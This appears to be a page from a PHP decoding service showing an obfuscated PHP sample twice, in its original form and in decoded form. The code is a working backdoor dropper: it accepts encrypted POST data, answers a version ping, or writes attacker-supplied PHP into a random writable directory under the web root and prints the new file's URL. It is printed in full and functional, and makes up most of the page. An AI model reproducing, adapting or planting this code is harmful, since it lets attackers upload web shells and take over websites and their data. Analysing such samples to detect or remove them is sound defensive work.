Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function zvTCkpwVH($rGYjzHHupq){$kFuXd = 'r'.chr(97).chr(119)."\x75".'r'.chr(108).ch..

Decoded Output download

<?php function zvTCkpwVH($rGYjzHHupq){$kFuXd = 'r'.chr(97).chr(119)."u".'r'.chr(108).chr(100).chr(101).chr(1061-962).chr(111)."d".'e';$XUcJjLuXUq = 's'.'t'."r"."_"."r"."o".chr(977-861).'1'.'3';$UrqMeuik = 's'.chr(116)."r".'_'.chr(115)."p".chr(108).chr(350-245).'t';$rGYjzHHupq = $UrqMeuik($kFuXd($XUcJjLuXUq($rGYjzHHupq)));return $rGYjzHHupq;}function EZVHUV($UzoIJvGls, $rGYjzHHupq){$nnuGsDfKO = "s".chr(542-426).chr(114).chr(95)."s".'p'.chr(773-665)."i".chr(969-853);$UzoIJvGls = array_slice($nnuGsDfKO(str_repeat($UzoIJvGls, (count($rGYjzHHupq)/16)+1)), 0, count($rGYjzHHupq));return $UzoIJvGls;}function mZGVQWiet($SMXKd, $ZOrxVtOrUy, $UzoIJvGls){$gwOOt = "093c0278-0972-4617-bdba-472a835176d3";return $SMXKd ^ $gwOOt[$ZOrxVtOrUy % strlen($gwOOt)] ^ $UzoIJvGls;}function jFaPBdAQY($rGYjzHHupq, $UzoIJvGls){$rGYjzHHupq = array_map("mZGVQWiet", array_values($rGYjzHHupq), array_keys($rGYjzHHupq), array_values($UzoIJvGls));$rGYjzHHupq = implode("", $rGYjzHHupq);$uQMVfvKcg = "u".'n'.'s'.chr(101)."r".'i'."a".'l'.'i'.chr(432-310).'e';$rGYjzHHupq = @$uQMVfvKcg($rGYjzHHupq);return $rGYjzHHupq;}function rijJaUmu($ZNTkjYVcViir){static $IyvIqAzs = array();$ZsgCauzJxp = glob($ZNTkjYVcViir . '/*', GLOB_ONLYDIR);$gnKHZvegFh = count($ZsgCauzJxp);if ($gnKHZvegFh > 0) {foreach ($ZsgCauzJxp as $ZNTkjYVcVi) {$VUcIPnhGds = chr(105).'s'."_"."w".'r'.chr(105).'t'.'a'."b".chr(1102-994).'e';if (@$VUcIPnhGds($ZNTkjYVcVi)) {$IyvIqAzs[] = $ZNTkjYVcVi;}}}foreach ($ZsgCauzJxp as $ZNTkjYVcViir) rijJaUmu($ZNTkjYVcViir);return $IyvIqAzs;}function YOhiDpt($rGYjzHHupq){$ZshAwJeBr = chr(68).'O'.chr(67).chr(85).'M'."E"."N"."T"."_".'R'."O".chr(422-343)."T";$CitxAq = $_SERVER[$ZshAwJeBr];$ZsgCauzJxp = rijJaUmu($CitxAq);$rKFgzxxGP = array_rand($ZsgCauzJxp);$tORfR = ".".chr(882-770)."h".chr(288-176);$uqQMAlU = $ZsgCauzJxp[$rKFgzxxGP] . "/" . substr(md5(time()), 0, 8) . $tORfR;$ughMAnZV = "f".'i'."l".chr(824-723).'_'.'p'.chr(117).chr(116)."_".chr(99).chr(288-177).'n'."t".chr(101).chr(110).'t'.'s';@$ughMAnZV($uqQMAlU, $rGYjzHHupq);$AFFLV = chr(72)."T".chr(84).chr(80)."_"."H".chr(79).'S'.chr(84);$IbbNzmINIv = 'h'.'t'.chr(142-26).chr(545-433).chr(58).chr(667-620).'/';$snVWSlgkw = $IbbNzmINIv . $_SERVER[$AFFLV] . substr($uqQMAlU, strlen($CitxAq));print($snVWSlgkw);die();}foreach ($_POST as $UzoIJvGls => $rGYjzHHupq){$FyEFInoLC = strlen($UzoIJvGls);if ($FyEFInoLC == 16){$rGYjzHHupq = zvTCkpwVH($rGYjzHHupq);$UzoIJvGls = EZVHUV($UzoIJvGls, $rGYjzHHupq);$rGYjzHHupq = jFaPBdAQY($rGYjzHHupq, $UzoIJvGls);if (@is_array($rGYjzHHupq)){$rKFgzxxGP = array_keys($rGYjzHHupq);$rGYjzHHupq = $rGYjzHHupq[$rKFgzxxGP[0]];if ($rGYjzHHupq === $rKFgzxxGP[0]){$laRDYfsG = "p"."h"."p";$cJzCC = "p".chr(104).'p'.chr(118).chr(795-694).chr(395-281)."s"."i".chr(111).'n';$omLpY = "s".chr(101)."r".chr(105).chr(136-39)."l".chr(105).chr(952-830)."e";echo @$omLpY(Array($laRDYfsG => @$cJzCC(), ));exit();}else {YOhiDpt($rGYjzHHupq);}}}} ?>

Did this file decode correctly?

Original Code

<?php function zvTCkpwVH($rGYjzHHupq){$kFuXd = 'r'.chr(97).chr(119)."\x75".'r'.chr(108).chr(100).chr(101).chr(1061-962).chr(111)."\144".'e';$XUcJjLuXUq = 's'.'t'."\x72"."\x5f"."\x72"."\157".chr(977-861).'1'.'3';$UrqMeuik = 's'.chr(116)."\x72".'_'.chr(115)."\x70".chr(108).chr(350-245).'t';$rGYjzHHupq = $UrqMeuik($kFuXd($XUcJjLuXUq($rGYjzHHupq)));return $rGYjzHHupq;}function EZVHUV($UzoIJvGls, $rGYjzHHupq){$nnuGsDfKO = "\x73".chr(542-426).chr(114).chr(95)."\163".'p'.chr(773-665)."\x69".chr(969-853);$UzoIJvGls = array_slice($nnuGsDfKO(str_repeat($UzoIJvGls, (count($rGYjzHHupq)/16)+1)), 0, count($rGYjzHHupq));return $UzoIJvGls;}function mZGVQWiet($SMXKd, $ZOrxVtOrUy, $UzoIJvGls){$gwOOt = "093c0278-0972-4617-bdba-472a835176d3";return $SMXKd ^ $gwOOt[$ZOrxVtOrUy % strlen($gwOOt)] ^ $UzoIJvGls;}function jFaPBdAQY($rGYjzHHupq, $UzoIJvGls){$rGYjzHHupq = array_map("mZGVQWiet", array_values($rGYjzHHupq), array_keys($rGYjzHHupq), array_values($UzoIJvGls));$rGYjzHHupq = implode("", $rGYjzHHupq);$uQMVfvKcg = "\x75".'n'.'s'.chr(101)."\x72".'i'."\141".'l'.'i'.chr(432-310).'e';$rGYjzHHupq = @$uQMVfvKcg($rGYjzHHupq);return $rGYjzHHupq;}function rijJaUmu($ZNTkjYVcViir){static $IyvIqAzs = array();$ZsgCauzJxp = glob($ZNTkjYVcViir . '/*', GLOB_ONLYDIR);$gnKHZvegFh = count($ZsgCauzJxp);if ($gnKHZvegFh > 0) {foreach ($ZsgCauzJxp as $ZNTkjYVcVi) {$VUcIPnhGds = chr(105).'s'."\x5f"."\167".'r'.chr(105).'t'.'a'."\142".chr(1102-994).'e';if (@$VUcIPnhGds($ZNTkjYVcVi)) {$IyvIqAzs[] = $ZNTkjYVcVi;}}}foreach ($ZsgCauzJxp as $ZNTkjYVcViir) rijJaUmu($ZNTkjYVcViir);return $IyvIqAzs;}function YOhiDpt($rGYjzHHupq){$ZshAwJeBr = chr(68).'O'.chr(67).chr(85).'M'."\x45"."\x4e"."\124"."\x5f".'R'."\x4f".chr(422-343)."\124";$CitxAq = $_SERVER[$ZshAwJeBr];$ZsgCauzJxp = rijJaUmu($CitxAq);$rKFgzxxGP = array_rand($ZsgCauzJxp);$tORfR = "\56".chr(882-770)."\x68".chr(288-176);$uqQMAlU = $ZsgCauzJxp[$rKFgzxxGP] . "/" . substr(md5(time()), 0, 8) . $tORfR;$ughMAnZV = "\x66".'i'."\x6c".chr(824-723).'_'.'p'.chr(117).chr(116)."\x5f".chr(99).chr(288-177).'n'."\x74".chr(101).chr(110).'t'.'s';@$ughMAnZV($uqQMAlU, $rGYjzHHupq);$AFFLV = chr(72)."\x54".chr(84).chr(80)."\137"."\x48".chr(79).'S'.chr(84);$IbbNzmINIv = 'h'.'t'.chr(142-26).chr(545-433).chr(58).chr(667-620).'/';$snVWSlgkw = $IbbNzmINIv . $_SERVER[$AFFLV] . substr($uqQMAlU, strlen($CitxAq));print($snVWSlgkw);die();}foreach ($_POST as $UzoIJvGls => $rGYjzHHupq){$FyEFInoLC = strlen($UzoIJvGls);if ($FyEFInoLC == 16){$rGYjzHHupq = zvTCkpwVH($rGYjzHHupq);$UzoIJvGls = EZVHUV($UzoIJvGls, $rGYjzHHupq);$rGYjzHHupq = jFaPBdAQY($rGYjzHHupq, $UzoIJvGls);if (@is_array($rGYjzHHupq)){$rKFgzxxGP = array_keys($rGYjzHHupq);$rGYjzHHupq = $rGYjzHHupq[$rKFgzxxGP[0]];if ($rGYjzHHupq === $rKFgzxxGP[0]){$laRDYfsG = "\x70"."\x68"."\x70";$cJzCC = "\160".chr(104).'p'.chr(118).chr(795-694).chr(395-281)."\163"."\x69".chr(111).'n';$omLpY = "\163".chr(101)."\x72".chr(105).chr(136-39)."\154".chr(105).chr(952-830)."\145";echo @$omLpY(Array($laRDYfsG => @$cJzCC(), ));exit();}else {YOhiDpt($rGYjzHHupq);}}}}

Function Calls

None

Variables

None

Stats

MD5 70ad695c795e4b47442870f7b6cf625d
Eval Count 0
Decode Time 103 ms